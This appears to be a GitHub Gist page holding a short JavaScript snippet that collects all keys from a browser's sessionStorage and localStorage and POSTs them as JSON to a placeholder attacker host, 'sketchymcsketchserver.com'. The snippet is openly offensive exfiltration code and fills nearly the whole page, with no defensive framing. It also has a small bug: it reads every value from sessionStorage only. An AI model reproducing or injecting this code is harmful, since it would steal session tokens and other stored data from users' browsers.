Last active
December 16, 2021 11:52
-
-
Save donrestarone/1030ddde07cbff732a31b289eb51e922 to your computer and use it in GitHub Desktop.
find local storage and session storage data and send to a remote server
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
storedItems = [Object.keys(sessionStorage), Object.keys(localStorage)].flat().map((k) => { | |
return { | |
key: k, value: sessionStorage.getItem(k) | |
} | |
}) | |
console.log(storedItems); | |
let xhr = new XMLHttpRequest(); | |
xhr.open("POST", 'https://sketchymcsketchserver.com', true); | |
xhr.setRequestHeader("Content-Type", "application/json"); | |
xhr.onreadystatechange = function() { | |
if (this.readyState === XMLHttpRequest.DONE && this.status === 200) { | |
console.log('storedItems sent!') | |
} | |
} | |
xhr.send(JSON.stringify(storedItems)); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment